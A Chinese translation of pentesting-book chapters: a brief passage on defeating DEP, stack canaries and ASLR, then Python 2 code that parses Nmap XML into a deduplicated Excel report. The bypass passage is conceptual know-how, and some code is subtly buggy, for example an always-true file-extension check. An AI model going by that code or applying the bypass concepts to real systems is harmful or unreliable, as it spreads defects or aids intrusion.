如果您选择创建新的 Metasploit 模块或具有不同功能的更新,并且不想破坏当前的安装,您可以将自定义模块加载到 Metasploit 中。这些细节在以下位置有很好的文档记录github.com/rapid7/metasploit-framework/wiki/Loading-External-Modules

理解保护机制

有一整本书专门介绍了一些供管理员和开发人员使用的工具,这些工具可以防止许多漏洞利用。它们包括数据执行防护DEP),如果代码和操作系统配置为利用它,它将阻止像我们这样的代码运行。这是通过阻止在堆栈上执行数据来实现的。我们可以通过简单地覆盖结构化异常处理SEH)来绕过 DEP,以运行我们自己的代码。

栈金丝雀是栈中的数学构造,检查返回指针何时被调用。如果值发生了变化,那么出现了问题,并引发了异常。如果攻击者确定了守卫正在检查的值,它可以被注入到 shellcode 中以防止异常。

最后,还有地址空间层随机化ASLR),它随机化了我们利用的内存位置。ASLR 比其他两种方式更难打败,但它基本上是通过在内存中构建具有维持一致内存位置的共享库组件的漏洞利用来打败的。没有这些一致的共享库,操作系统将无法执行基本的进程。这种技术被称为返回导向编程ROP)链接。

摘要

在本章中,我们概述了 Windows 内存结构以及我们如何利用糟糕的编码实践。然后,我们强调了如何使用 Python 代码生成自己的漏洞利用,使用有针对性的测试和概念验证代码。本章最后介绍了如何反向工程 Metasploit 模块以创建独立的漏洞利用,以改进当前模块的功能或生成新的漏洞利用。在下一章中,我们将介绍如何自动报告渗透测试期间发现的细节以及如何解析可扩展标记语言XML)。

第九章:使用 Python 自动化报告和任务

在前几章中,我们涵盖了大量信息,突出了 Python 在优化技术领域工作中的作用。我们甚至展示了 Python 可以用于自动化从一个过程到另一个过程的后续任务的方法。这些方法将帮助您更好地花费时间在优先任务上。这很重要,因为有三件事可能限制渗透测试的成功完成:评估员完成评估的时间,渗透测试范围的限制,以及评估员的技能。在本章中,我们将向您展示如何自动化诸如解析可扩展标记语言XML)以从工具数据生成报告的任务。

了解如何解析 XML 文件以生成报告

我们将以nmap XML 为例,展示如何将数据解析为可用格式。我们的最终目标是将数据放入一个 Python 字典中,以便使用该数据构建我们发现有用的结构化输出。首先,我们需要一个可以解析和审查的 XML 文件。使用nmap -oX test 127.0.0.1命令对本地主机运行nmap扫描。

这将生成一个文件,其中使用 XML 标记语言突出显示了两个开放端口,如下所示:

了解如何解析 XML 文件以生成报告

有了实际的 XML 文件,我们可以审查数据结构的组成部分。了解 XML 文件的设计方式将更好地为您准备生成读取它的代码。具体来说,这里的描述是基于etree库对 XML 文件组件的分类。etree库在概念上处理 XML 数据,就像一棵树,具有相关的分支、子分支,甚至小枝。在计算机科学术语中,我们称之为父子关系。

使用etree库,您将把数据加载到变量中。这些变量将保存数据的复合部分。这些被称为元素,可以进一步解剖以找到有用的信息。例如,如果将 XML nmap 结构的根加载到一个变量中,然后打印它,您将看到引用和描述元素及其中数据的标记,如下面的屏幕截图所示:

了解如何解析 XML 文件以生成报告

注意

有关etree库的其他详细信息可以在docs.python.org/2/library/xml.etree.elementtree.html找到。

每个元素都可以与其他节点以及子节点(称为孙节点)存在父子关系。每个节点都保存了我们试图解析的信息。节点通常有一个标记,这是它所持有数据的描述,还有一个属性,这是实际的数据。为了更好地突出这些信息在 XML 中的呈现方式,我们捕获了 nmap XML 的一个元素,主机名节点和一个单一的结果子节点,如下所示:

了解如何解析 XML 文件以生成报告

当您查看 XML 文件时,您可能会注意到一个元素中可以有多个节点。例如,由于多个引用,一个主机可能对应同一Internet ProtocolIP)地址的多个不同主机名。因此,为了迭代元素的所有节点,您需要使用 for 循环来捕获所有可能的数据组件。对这些数据的解析是为了生成输出,这取决于您拥有的数据样本的质量。

这意味着你应该获取多个样本 XML 文件,以获得更好的信息横截面。重点是获得可能的数据组合的大部分。即使使用了应该涵盖你遇到的大部分问题的样本,也会有一些未考虑的例子。因此,如果你的脚本在使用过程中中断,不要灰心。追踪错误并确定需要调整什么。

对于我们的测试,我们将使用多个nmap扫描和我们的 Kali 实例,并将详细信息输出到 XML 文件中。

提示

Python 有一个名为libnmap的奇妙库,可以用来运行和安排扫描,甚至帮助解析输出文件以生成报告。更多详情可以在libnmap.readthedocs.org/en/latest/找到。我们可以使用这个库来解析输出并生成报告,但这个库只适用于nmap。如果你想解析其他工具的 XML 输出以将细节添加到更可管理的格式中,这个库将无法帮助你。

当我们准备编写解析器时,第一阶段是映射我们要解析的文件。因此,我们需要注意我们的脚本与输出交互的可能方式。在映射文件之后,我们在整个文件中放置了几个print语句,以显示我们的脚本在哪些元素停止或中断处理。为了更好地理解每个元素,你应该将示例 XML 加载到一个允许正确查看 XML 的工具中。Notepad++非常适用,只要安装了 XML 工具插件。

一旦你把文件加载到 Notepad++中,你应该将 XML 树折叠到其根部。以下截图显示了这棵树的根是nmaprun

了解如何解析 XML 文件以生成报告

展开一次后,你会得到许多子节点,可以进一步展开和分解。

了解如何解析 XML 文件以生成报告

从这些细节中,我们看到我们需要将 XML 文件加载到处理程序中,然后遍历主机元素。然而,我们应该考虑到这是一个单一的主机,所以只会有一个主机元素。因此,我们应该通过for循环迭代主机元素,以捕获将来迭代中可能被扫描的其他主机。

当主机元素被展开时,我们可以发现有地址、主机名、端口和时间的节点。我们感兴趣的节点将是地址、主机名和端口。主机名和端口节点都是可展开的,这意味着它们可能也需要被迭代。

提示

即使只有一个条目,你也可以用 for 循环迭代任何节点。这样可以确保你捕获所有子节点中的信息,并防止解析器中断。

这个截图突出显示了展开的 XML 树的细节,这些细节是我们关心的:

了解如何解析 XML 文件以生成报告

对于地址,我们可以看到有不同的地址类型,如addrtype标签所示。在 nmap XML 输出中,你会发现ipv4ipv6mac地址。如果你想在输出中获得不同的地址类型,你可以通过简单的if-then语句来获取它们,然后将其加载到适当的变量中。如果你只想要一个地址被加载到一个变量中,而不管类型是什么,你将不得不创建一个优先顺序。

nmap工具可能会找到每个扫描目标的主机名,也可能找不到。这取决于扫描器尝试检索信息的方式。例如,如果启用了域名服务DNS)请求,或者扫描针对本地主机进行,可能已经识别出主机名。其他情况下的扫描可能无法识别实际的主机名。我们必须编写脚本,考虑到可能根据扫描提供的不同输出来提取信息。如下面的截图所示,我们的本地主机扫描确实提供了主机名,因此我们可以在这个例子中提取信息:

了解如何解析 XML 文件以进行报告

因此,我们决定将主机名和地址加载到变量中。我们将查看ports元素,以识别我们将要提取的父节点和子节点数据。树的这个区域的 XML 节点包含大量数据,因为它们必须由许多标签和属性表示,如下面的截图所示:

了解如何解析 XML 文件以进行报告

在查看这些节点的细节时,我们应该考虑我们想要提取的组件。我们知道我们将不得不迭代所有端口,并且可以通过portid标签唯一标识端口,该标签表示端口号,但我们必须考虑对我们作为评估者有用的数据。端口的协议,如传输控制协议TCP)和用户数据报协议UDP),是有用的。此外,端口的状态以及它是打开关闭过滤还是打开|过滤也很重要。最后,可能已经识别的服务名称在报告中也很有用。

提示

请记住,服务名称可能不准确,这取决于扫描的类型。如果没有服务检测,nmap 将使用 Linux 的/etc/services文件中描述的默认值。因此,如果您正在为客户生成报告作为足迹练习的一部分,请确保启用某种形式的服务检测。否则,您提供的数据可能被视为不准确。

在审查 XML 文件后,我们确定除了地址和主机名之外,还将捕获每个端口号、协议、附加的服务以及状态。有了这些细节,我们可以考虑如何格式化我们的报告。正如之前的图像所显示的,nmap XML 的数据格式不是叙述性的,因此 Microsoft Word 文档可能不如电子表格有用。

因此,我们必须考虑数据在报告中的表示方式:每个主机一行还是每个端口一行。每种表示方式都有利弊。逐行主机表示意味着复合信息易于表示,但如果我们想要过滤数据,只能过滤关于主机或端口组的唯一信息,而不能过滤单个端口。

为了使这更有用,电子表格中的每一行将代表一个端口,这意味着每个端口的详细信息可以在一行上表示。这可以帮助我们的客户过滤我们从 XML 中提取的每个项目,包括主机名、地址、端口、服务名称、协议和端口状态。下面的截图显示了我们将要努力实现的目标:

了解如何解析 XML 文件以进行报告

由于我们正在编写解析器和报告生成器,因此最好创建两个单独的类来处理这些信息。增加的好处是可以实例化 XML 解析器,这意味着我们可以使用解析器对多个 XML 文件进行运行,然后将每次迭代组合成整体和独特的结果。这对我们非常有益,因为我们通常在参与过程中运行多个nmap扫描,并且合并结果和消除重复项可能是一个相当费力的过程。再次,这是一个理想的例子,脚本化可以让我们的生活更轻松。

理解如何创建 Python 类

新的 Python 爱好者之间存在很多关于如何生成 Python 类的误解。Python 处理类和实例变量的方式与许多其他语言略有不同。这并不是一件坏事;事实上,一旦你习惯了语言的工作方式,你就可以开始理解类的定义方式是经过深思熟虑的原因。

如果你在互联网上搜索 Python 和 self 的主题,你会发现关于在 Python 类中非静态函数的开头放置的定义变量的使用的广泛意见。这些意见从认为这是一个使生活更轻松的好概念,到认为这很难应付,使得创建多线程脚本成为一项苦差事。通常,混淆源于从其他语言转移到 Python 的开发人员。无论你站在哪一边,本章提供的示例都是构建 Python 类的一种方式。

注意

在下一章中,我们将重点介绍脚本的多线程,这需要对 Python 类的工作方式有基本的理解。

Python 的创始人 Guido van Rossum 在一篇博客文章中回应了一些与 self 有关的批评,该文章可在neopythonic.blogspot.com/2008/10/why-explicit-self-has-to-stay.html上找到。为了帮助你专注于本书的这一部分,Python 类、导入和对象的广泛定义将不会重复,因为它们已经被很好地定义了。如果你想了解与 Python 类相关的更多详细信息,你可以在learnpythonthehardway.org/book上找到。具体来说,练习 40 到 44 非常好地解释了关于类和面向对象原则的“Pythonic”概念,其中包括继承和组合。

之前,我们描述了如何编写 Pythonic 类的命名约定,因此我们不会在这里重复。相反,我们将专注于我们脚本中需要的一些项目。首先,我们将定义我们的类和我们的第一个函数——__init__函数。

__init__函数是在类实例化时使用的。这意味着调用类来创建一个可以在运行脚本中作为变量引用的对象。__init__函数有助于定义该对象的初始细节,它基本上充当 Python 类的构造函数。为了帮助理解,__del__函数则相反,它是 Python 中的析构函数。

如果一个函数要使用实例的细节,那么传递的第一个参数必须是一个一致的变量,通常称为self。如果你愿意,你可以给它取别的名字,但这不是 Pythonic 的。如果一个函数没有这个变量,那么实例化的值就不能直接在该函数内部使用。在__init__函数中跟随self变量的所有值都将直接传递给类。其他语言通过隐藏参数传递这些值;Python 使用self来实现这一点。现在你已经了解了 Python 脚本的基础知识,我们可以开始构建我们的解析脚本。

创建一个解析 Nmap XML 的 Python 脚本

我们为这个示例定义的类非常简单。它只有三个函数:__init__,一个处理传递数据的函数,最后是一个返回处理后数据的函数。我们将设置类来接受 nmap XML 文件和详细级别,如果没有传递,则默认为0。以下是实际类和 nmap 解析器的__init__函数的定义:

class Nmap_parser:
    def __init__(self, nmap_xml, verbose=0):
        self.nmap_xml = nmap_xml
        self.verbose = verbose
        self.hosts = {}
        try:
            self.run()
        except Exception, e:
            print("[!] There was an error %s") % (str(e))
            sys.exit(1)

现在我们要定义这个类的工作函数。正如你会注意到的,我们不需要在函数中传递任何变量,因为它们都包含在self中。在更大的脚本中,我个人会在函数开头添加注释来解释正在做什么。这样,当我以后需要在其中添加更多功能时,我就不必花时间解密数百行代码。

注意

与前几章一样,完整的脚本可以在 GitHub 页面上找到:raw.githubusercontent.com/funkandwagnalls/pythonpentest/master/nmap_parser.py

运行函数测试确保它可以打开 XML 文件,然后使用etree库的parse函数将其加载到变量中。然后,函数定义了初始必要变量并获取了 XML 树的根:

def run(self):
    if not self.nmap_xml:
        sys.exit("[!] Cannot open Nmap XML file: %s \n[-] Ensure that your are passing the correct file and format" % (self.nmap_xml))
    try:
        tree = etree.parse(self.nmap_xml)
    except:
        sys.exit("[!] Cannot open Nmap XML file: %s \n[-] Ensure that your are passing the correct file and format" % (self.nmap_xml))
    hosts={}
    services=[]
    hostname_list=[]
    root = tree.getroot()
    hostname_node = None
    if self.verbose> 0:
        print ("[*] Parsing the Nmap XML file: %s") % (self.nmap_xml)

接下来,我们构建一个for循环,遍历每个主机,并为每个周期最初将主机名定义为Unknown hostname。这样做是为了防止一个主机的主机名被记录为另一个主机的主机名。在尝试检索地址之前,对地址进行了类似的清空处理。你可以在以下代码中看到,嵌套的for循环遍历主机地址节点。

每个addrtype标签的每个属性都加载到temp变量中。然后测试这个值,看看将提取什么类型的地址。接下来,将addr标签的属性加载到适用于其地址类型的变量中,比如对于Internet Protocol version 4 (IPv4),加载到hwaddressaddress变量,对于IP version 6 (IPv6),加载到addressv6变量中:

for host in root.iter('host'):
    hostname = "Unknown hostname"
    for addresses in host.iter('address'):
        hwaddress = "No MAC Address ID'd"
        ipv4 = "No IPv4 Address ID'd"
        addressv6 = "No IPv6 Address ID'd"
        temp = addresses.get('addrtype')
        if "mac" in temp:
            hwaddress = addresses.get('addr')
            if self.verbose> 2:
                print("[*] The host was on the same broadcast domain")
        if "ipv4" in temp:
            address = addresses.get('addr')
            if self.verbose> 2:
                print("[*] The host had an IPv4 address")
        if "ipv6" in temp:
            addressv6 = addresses.get('addr')
            if self.verbose> 2:
                print("[*] The host had an IPv6 address")

对于主机名,我们做了一些略有不同的事情。我们可以创建另一个for循环来尝试识别每个主机的所有可用主机名,但大多数扫描只有一个或没有主机名。为了展示从 XML 文件中获取数据的不同方式,你可以看到hostname节点首先被加载到适当命名的变量中,首先识别父元素hostnames,然后是子元素hostname。如果脚本找不到hostname,我们再次将变量设置为Unknown hostname

注意

这个脚本被设置为一个教学概念,但我们也希望为以后的更改做好准备。牢记这一点,如果我们希望以后改变提取主机名直接节点提取为for循环的方式,我们可以。在脚本中通过将识别的主机名加载到主机名列表中来做好准备,以便在下一段代码之前。通常,这对于我们提取主机名的方式是不需要的。在这里为未来的更改准备脚本比在之后的代码中改变加载属性相关的一切要容易得多。

            try:
                hostname_node = host.find('hostnames').find('hostname')
            except:
                if self.verbose > 1:
                    print ("[!] No hostname found")
            if hostname_node is not None:
                hostname = hostname_node.get('name')
            else:
                hostname = "Unknown hostname"
                if self.verbose > 1:
                    print("[*] The hosts hostname is %s") % (str(hostname_node))
            hostname_list.append(hostname)+--

现在我们已经捕获了如何识别主机名,我们将尝试捕获每个主机的所有端口。我们通过迭代所有port节点并将它们加载到 item 变量中来实现这一点。接下来,我们从节点中提取stateservicenameprotocolportid的属性。然后,这些值被加载到services列表中:

            for item in host.iter('port'):
                state = item.find('state').get('state')
                #if state.lower() == 'open':
                service = item.find('service').get('name')
                protocol = item.get('protocol')
                port = item.get('portid')
                services.append([hostname_list, address, protocol, port, service, hwaddress, state])

现在,有一个包含每个主机所有服务的值列表。我们将其拆分为一个字典以便参考。因此,我们生成一个for循环,遍历列表的长度,将每个services值重新加载到临时变量中,然后使用迭代的值作为键将其加载到实例的self.hosts字典中:

        hostname_list=[]
        for i in range(0, len(services)):
            service = services[i]
            index = len(service) - 1
            hostname = str1 = ''.join(service[0])
            address = service[1]
            protocol = service[2]
            port = service[3]
            serv_name = service[4]
            hwaddress = service[5]
            state = service[6]
            self.hosts[i] = [hostname, address, protocol, port, serv_name, hwaddress, state]
            if self.verbose > 2:
                print ("[+] Adding %s with an IP of %s:%s with the service %s")%(hostname,address,port,serv_name)

在这个函数的结尾,我们添加了一个简单的测试用例来验证数据是否被发现,并且如果 verbosity 被打开,它可以被呈现出来:

        if self.hosts:
            if self.verbose > 4:
                print ("[*] Results from NMAP XML import: ")
                for key, entry in self.hosts.iteritems():
                    print("[*] %s") % (str(entry))
            if self.verbose > 0:
                print ("[+] Parsed and imported unique ports %s") % (str(i+1))
        else:
            if self.verbose > 0:
                print ("[-] No ports were discovered in the NMAP XML file")

主要处理函数完成后,下一步是创建一个可以返回特定实例hosts数据的函数。这个函数在调用时简单地返回self.hosts的值:

    def hosts_return(self):
        # A controlled return method
        # Input: None
        # Returned: The processed hosts
        try:
             return self.hosts
        except Exception as e:
            print("[!] There was an error returning the data %s") % (e)

我们已经反复展示了通过参数和选项设置基本变量值,为了节省空间,这里不涵盖nmap_parser.py脚本中的代码细节;它们可以在线找到。相反,我们将展示如何通过我们的类实例处理多个 XML 文件。

它开始非常简单。我们测试一下我们的 XML 文件是否在变量xml中有逗号。如果有,这意味着用户提供了一个用逗号分隔的 XML 文件列表进行处理。因此,我们将按逗号拆分并将值加载到xml_list中进行处理。然后,我们将测试每个 XML 文件并验证它是否是一个nmap XML 文件,方法是将 XML 文件加载到一个变量中,然后检查scanner标签的属性值。

如果我们得到nmap,我们知道文件是 nmap XML。如果不是,我们用适当的错误消息退出脚本。如果没有错误,我们调用Nmap_parser类并将其实例化为一个具有当前 XML 文件和 verbosity 级别的对象。然后,我们将其附加到列表中。所以基本上,XML 文件被传递给Nmap_parser类,对象本身被存储在 hosts 列表中。这使我们能够轻松处理多个 XML 文件并存储对象以供以后操作,如有必要:

    if "," in xml:
        xml_list = xml.split(',')
    else:
        xml_list.append(xml)
    for x in xml_list:
        try:
            tree_temp = etree.parse(x)
        except:
            sys.exit("[!] Cannot open XML file: %s \n[-] Ensure that your are passing the correct file and format" % (x))
        try:
            root = tree_temp.getroot()
            name = root.get("scanner")
            if name is not None and "nmap" in name:
                if verbose > 1:
                    print ("[*] File being processed is an NMAP XML")
                hosts.append(Nmap_parser(x, verbose))
            else:
                print("[!] File % is not an NMAP XML") % (str(x))
                sys.exit(1)
        except Exception, e:
            print("[!] Processing of file %s failed %s") % (str(x), str(e))
            sys.exit(1)

加载到字典中的每个实例的数据可能在其中具有重复信息。想象一下在渗透测试期间的情况;当您扫描特定弱点时,您经常会查看相同的 IP 地址。每次运行扫描时,您可能会找到相同的端口和服务以及相关状态。为了使数据规范化,需要将其合并并消除重复项。

当处理典型的内部 IP 地址或请求评论RFC)1918 地址时,10.0.0.1地址可能在许多不同的内部网络中。因此,如果您使用此脚本来合并来自多个网络的结果,您可能会合并实际上不是重复的结果。在实际执行脚本时,请记住这一点。

现在,我们在for循环中用每个数据实例加载一个临时变量。这将创建字典中所有值的count,并将其用作每个值集的参考。一个名为hosts_dict的新字典用于存储这些数据:

    if not hosts:
        sys.exit("[!] There was an issue processing the data")
    for inst in hosts:
        hosts_temp = inst.hosts_return()
        if hosts_temp is not None:
            for k, v in hosts_temp.iteritems():
                hosts_dict[count] = v
                count+=1
            hosts_temp.clear()

现在我们有了一个按简单引用排序的数据字典,我们可以使用它来消除重复项。现在我们要做的是遍历新形成的字典,并在元组中创建键值对。然后将每个元组加载到列表中,这样可以对数据进行排序。

我们再次遍历列表,将元组中存储的两个值分解为新的键值对。从功能上讲,我们正在操纵我们通常在 Python 数据结构中存储数据的方式,以便轻松地去除重复项。

然后,我们对当前值进行直接比较,即端口数据列表与processed_hosts字典值的比较。这是包含从所有 XML 文件中发现的经过验证的唯一值的新的最终字典。

注意

端口数据列表存储在temp列表中嵌套的元组的第二个值中。

如果一个值已经在processed_hosts字典中找到,我们将使用continue继续循环,而不将详细信息加载到字典中。如果值不在字典中,我们将使用新的计数器key将其添加到字典中:

    if verbose > 3:
        for key, value in hosts_dict.iteritems():
            print("[*] Key: %s Value: %s") % (key,value)
    temp = [(k, hosts_dict[k]) for k in hosts_dict]
    temp.sort()
    key = 0
    for k, v in temp:
        compare = lambda x, y: collections.Counter(x) == collections.Counter(y)
        if str(v) in str(processed_hosts.values()):
            continue
        else:
            key+=1
            processed_hosts[key] = v

现在我们测试并确保数据在我们的新数据结构中被正确排序和呈现:

    if verbose > 0:
        for key, target in processed_hosts.iteritems():
            print("[*] Hostname: %s IP: %s Protocol: %s Port: %s Service: %s State: %s MAC address: %s" % (target[0],target[1],target[2],target[3],target[4],target[6],target[5]))

运行脚本会产生以下结果,显示我们已成功提取数据并将其格式化为有用的结构:

创建一个 Python 脚本来解析 Nmap XML

现在我们可以注释掉打印数据的循环,并使用我们的数据结构来创建一个 Excel 电子表格。为此,我们将创建我们自己的本地模块,然后在此脚本中使用它。脚本将被调用来生成 Excel 电子表格。为此,我们需要知道我们将如何调用它的名称以及我们希望如何引用它。然后,在nmap_parser.py的顶部创建相关的import语句,我们将称之为nmap_doc_generator.py的 Python 模块:

try:
    import nmap_doc_generator as gen
except Exception as e:
    print(e)
    sys.exit("[!] Please download the nmap_doc_generator.py script")

接下来,我们用以下代码替换nmap_parser.py脚本底部的字典打印:

gen.Nmap_doc_generator(verbose, processed_hosts, filename, simple)

简单标志被添加到选项列表中,以允许以不同格式输出电子表格,如果需要的话。这个工具在真实的渗透测试和最终报告中都很有用。当涉及到哪种输出更容易阅读以及什么颜色适合他们所工作的组织的品牌报告时,每个人都有自己的偏好。

创建一个 Python 脚本来生成 Excel 电子表格

现在我们创建我们的新模块。它可以被导入到nmap_parser.py脚本中。这个脚本非常简单,感谢xlsxwriter库,我们可以再次使用pip安装它。以下代码通过设置必要的库来带来脚本,以便我们可以生成 Excel 电子表格:

import sys
try:
    import xlsxwriter
except:
    sys.exit("[!] Install the xlsx writer library as root or through sudo: pip install xlsxwriter")

接下来,我们创建Nmap_doc_generator的类和构造函数:

class Nmap_doc_generator():
    def __init__(self, verbose, hosts_dict, filename, simple):
        self.hosts_dict = hosts_dict
        self.filename = filename
        self.verbose = verbose
        self.simple = simple
        try:
            self.run()
        except Exception as e:
            print(e)

然后我们创建将在实例中执行的函数。从这个函数中,会执行一个名为generate_xlsx的次要函数。这样创建这个函数是为了以后如果需要,我们可以使用这个模块来处理其他报告类型。我们只需要创建额外的函数,并在运行nmap_parser.py脚本时提供选项来调用这些函数。然而,这超出了本示例的范围,所以run函数的范围如下:

    def run(self):
        # Run the appropriate module
        if self.verbose > 0:
            print ("[*] Building %s.xlsx") % (self.filename)
            self.generate_xlsx()

我们定义的下一个函数是generate_xlsx,其中包括生成 Excel 电子表格所需的所有功能。我们需要做的第一件事是定义实际的工作簿、工作表和格式。如果没有文件扩展名,我们首先需要设置实际的文件名扩展名:

    def generate_xlsx(self):
        if "xls" or "xlsx" not in self.filename:
            self.filename = self.filename + ".xlsx"
        workbook = xlsxwriter.Workbook(self.filename)

然后我们开始创建实际的行格式,从标题行开始。我们将其突出显示为粗体行,具有两种不同的可能颜色,具体取决于是否设置了简单标志:

        # Row one formatting
        format1 = workbook.add_format({'bold': True})
    # Header color
    # Find colors: http://www.w3schools.com/tags/ref_colorpicker.asp
  if self.simple:
            format1.set_bg_color('#538DD5')
  else:
      format1.set_bg_color('#33CC33') # Report Format

注意

您可以使用类似于微软的颜色选择工具在电子表格中找到您想要的实际颜色编号。它可以在www.w3schools.com/tags/ref_colorpicker.asp找到。

由于我们想将其配置为电子表格,以便它可以具有交替的颜色,我们将设置两个额外的格式配置。与之前的格式配置一样,这将被保存为变量,可以根据行是偶数还是奇数轻松引用。偶数行将是白色,因为标题行有颜色填充,奇数行将有颜色填充。因此,当设置simple变量时,我们将改变奇数行的颜色。以下代码突出显示了这种逻辑结构:

        # Even row formatting
        format2 = workbook.add_format({'text_wrap': True})
        format2.set_align('left')
        format2.set_align('top')
        format2.set_border(1)
        # Odd row formatting
        format3 = workbook.add_format({'text_wrap': True})
        format3.set_align('left')
        format3.set_align('top')
    # Row color
  if self.simple:
      format3.set_bg_color('#C5D9F1') 
  else:
      format3.set_bg_color('#99FF33') # Report Format 
        format3.set_border(1)

定义了格式后,我们现在必须设置列宽和标题,这些将在整个电子表格中使用。这里有一些试错,因为列宽应该足够宽,可以容纳电子表格中填充的数据,并正确表示标题,而不会不必要地扩展到屏幕外。通过范围、起始列号、结束列号和最后列宽的大小来定义列宽。这三个逗号分隔的值放在set_column函数参数中:

        if self.verbose > 0:
            print ("[*] Creating Workbook: %s") % (self.filename)
        # Generate Worksheet 1
        worksheet = workbook.add_worksheet("All Ports")
        # Column width for worksheet 1
        worksheet.set_column(0, 0, 20)
        worksheet.set_column(1, 1, 17)
        worksheet.set_column(2, 2, 22)
        worksheet.set_column(3, 3, 8)
        worksheet.set_column(4, 4, 26)
        worksheet.set_column(5, 5, 13)
        worksheet.set_column(6, 6, 12)

定义了列之后,设置行和列的起始位置,填充标题行,并使其中的数据可过滤。想想查找具有开放的 JBoss 端口的主机有多有用,或者客户想要知道已成功被周界防火墙过滤的端口是哪些:

        # Define starting location for Worksheet one
        row = 1
        col = 0
        # Generate Row 1 for worksheet one
        worksheet.write('A1', "Hostname", format1)
        worksheet.write('B1', "Address", format1)
        worksheet.write('C1', "Hardware Address", format1)
        worksheet.write('D1', "Port", format1)
        worksheet.write('E1', "Service Name", format1)
        worksheet.write('F1', "Protocol", format1)
        worksheet.write('G1', "Port State", format1)
        worksheet.autofilter('A1:G1')

因此,定义了格式后,我们可以开始填充相关数据到电子表格中。为此,我们创建一个for循环来填充keyvalue变量。在这个报告生成的实例中,key对于电子表格来说并不有用,因为它的数据没有用于生成电子表格。另一方面,value变量包含了nmap_parser.py脚本的结果列表。因此,我们将六个相关的值表示填充到位置变量中:

        # Populate Worksheet 1
        for key, value in self.hosts_dict.items():
            try:
                hostname = value[0]
                address = value[1]
                protocol = value[2]
                port = value[3]
                service_name = value[4]
                hwaddress = value[5]
                state = value[6]
            except:
                if self.verbose > 3:
                    print("[!] An error occurred parsing host ID: %s for Worksheet 1") % (key)

在每次迭代结束时,我们将增加行计数器。否则,如果我们在开始时这样做,我们将在数据行之间写入空白行。要开始处理,我们需要确定行是偶数还是奇数,因为这会改变格式,如前所述。最简单的方法是使用模运算符%,它将左操作数除以右操作数并返回余数。

如果没有余数,我们知道它是偶数,因此行也是偶数。否则,行是奇数,我们需要使用相应的格式。我们不再将整个函数行写操作写两次,而是再次使用一个临时变量来保存当前行格式,称为temp_format,如下所示:

                    print("[!] An error occurred parsing host ID: %s for Worksheet 1") % (key)
            try:
                if row % 2 != 0:
                    temp_format = format2
                else:
                    temp_format = format3

现在,我们可以从左到右写入数据。数据的每个组件都进入下一列,这意味着我们将列值为0,并且每次写入数据到行时都加1。这样可以让我们轻松地从左到右跨越电子表格,而不必操作多个值:

                worksheet.write(row, col,     hostname, temp_format)
                worksheet.write(row, col + 1, address, temp_format)
                worksheet.write(row, col + 2, hwaddress, temp_format)
                worksheet.write(row, col + 3, port, temp_format)
                worksheet.write(row, col + 4, service_name, temp_format)
                worksheet.write(row, col + 5, protocol, temp_format)
                worksheet.write(row, col + 6, state, temp_format)
                row += 1
            except:
                if self.verbose > 3:
                    print("[!] An error occurred writing data for Worksheet 1")

最后,我们关闭写入文件到当前工作目录的工作簿:

        try:
            workbook.close()
        except:
            sys.exit("[!] Permission to write to the file or location provided was denied")

所有必要的脚本组件和模块都已创建,这意味着我们可以从nmap XML 输出生成我们的 Excel 电子表格。在nmap_parser.py脚本的参数中,我们将默认文件名设置为xml_output,但根据需要可以传递其他值。以下是nmap_parser.py脚本的帮助输出:

创建一个用于生成 Excel 电子表格的 Python 脚本

有了这些详细信息,我们现在可以针对我们创建的四个不同的nmap扫描 XML 执行脚本,如下截图所示:

创建一个用于生成 Excel 电子表格的 Python 脚本

脚本的输出是这个 Excel 电子表格:

创建一个用于生成 Excel 电子表格的 Python 脚本

相反,如果我们设置简单标志并创建一个带有不同文件名的新电子表格,我们会得到以下输出:

创建一个用于生成 Excel 电子表格的 Python 脚本

这将创建新的电子表格xml_output2.xlsx,采用简单格式,如下所示:

创建一个用于生成 Excel 电子表格的 Python 脚本

注意

该模块的代码可以在raw.githubusercontent.com/funkandwagnalls/pythonpentest/master/nmap_doc_generator.py找到。

摘要

解析 nmap XML 非常有用,但请考虑这种能力对于阅读和组织其他安全工具输出的帮助有多大。我们向您展示了如何创建 Python 类,解析 XML 结构并生成独特的数据集。在所有这些之后,我们能够创建一个可以以可过滤格式表示数据的 Excel 电子表格。在下一章中,我们将介绍如何为我们的 Python 脚本添加多线程能力和永久性。

第十章:为 Python 工具增加永久性

Python 具有巨大的能力,我们只是挖掘了作为评估者可用的工具和技术的一部分。我们将介绍 Python 语言的一些更高级功能,这些功能对我们很有帮助。具体来说,我们将重点介绍如何将日志记录集成到我们的脚本中,然后开发多线程和多进程工具。添加这些更高级的功能意味着您开发的工具将更加经受时间的考验,并脱颖而出。

了解 Python 中的日志记录

当您编写自己的模块时,比如在第九章中突出显示的模块,使用 Python 自动化报告和任务,您希望能够轻松跟踪错误、警告和调试消息。日志记录库允许您跟踪事件并将其输出到标准错误(STDERR)、文件和标准输出(STDOUT)。使用日志记录的好处是可以轻松定义格式,并使用特定的消息类型将其发送到相关的输出。这些消息类似于 syslog 消息,并且模仿相同的日志级别。

注意

有关日志记录库的更多详细信息,请访问docs.python.org/2/library/logging.html

理解多线程和多进程之间的区别

在 Python 中有两种不同的方式可以执行同时的请求:多线程和多进程。通常,这两个项目会被混淆在一起,当您阅读有关它们的内容时,您会在博客和新闻组上看到类似的回应。如果您谈论使用多个处理器和处理核心,您正在谈论多进程。如果您留在同一内存块中,但不使用多个核心或进程,那么您正在谈论多线程。多线程又会运行并发代码,但由于 Python 解释器的设计,不会并行执行任务。

提示

如果您回顾第八章, 使用 Python、Metasploit 和 Immunity 进行利用开发,并查看 Windows 内存的定义区域,您将更好地理解线程和进程在 Windows 内存结构中的工作方式。请记住,其他操作系统(OS)处理这些内存位置的方式是不同的。

在 Python 中创建多线程脚本

要了解多线程的限制,您必须了解 Python 解释器。Python 解释器使用全局解释器锁(GIL),这意味着当字节码由一个线程执行时,它是一次执行一个线程。

注意

要更好地了解 GIL,请查看docs.python.org/2/glossary.html#term-global-interpreter-lock上的文档。

这可以防止由多个线程同时操作数据结构引起的问题。想象一下数据被写入字典,您在并发线程中使用相同的键引用不同的数据片段。您会破坏一些您打算写入字典的数据。

注意

对于多线程的 Python 应用程序,您会听到一个称为“线程安全”的术语。这意味着,“某物是否可以被线程修改而不影响数据的完整性或可用性?”即使某些东西被认为不是“线程安全”的,您也可以使用稍后描述的锁来控制数据输入。

我们将使用我们在第六章中之前创建的head_request.py脚本,并将其成熟为一个新脚本。此脚本将使用队列来保存需要处理的所有任务,这些任务将在执行期间动态分配。此队列是通过从文件中读取值并将其存储以供以后处理而构建的。我们将整合新的记录器库,将详细信息输出到results.log文件中,脚本执行时。以下屏幕截图显示了执行后此新脚本的结果:

在 Python 中创建多线程脚本

